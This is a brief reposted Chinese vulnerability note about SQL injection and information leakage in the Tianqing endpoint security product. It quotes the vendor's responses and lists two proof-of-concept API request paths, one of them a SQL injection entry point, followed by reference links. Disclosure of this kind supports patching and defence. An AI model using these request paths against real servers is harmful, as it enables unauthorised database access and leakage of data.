天擎SQL注入&&信息泄露


官方解釋

SQL注入漏洞官方解釋:天擎官方發表聲該漏洞為內部已知問題,並且在2020年護網前的版本已經修復。
信息泄露官方解釋:天擎官方發表聲明並表示Web接口為正常接口,不存在漏洞。

信息泄露

POC

/api/dbstat/gettablessize

SQL注入

/api/dp/rptsvcsyncpoint?ccid=1

參考連接

https://www.adminxe.com/2191.html
https://www.cnblogs.com/KHZ521/p/14662410.html


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM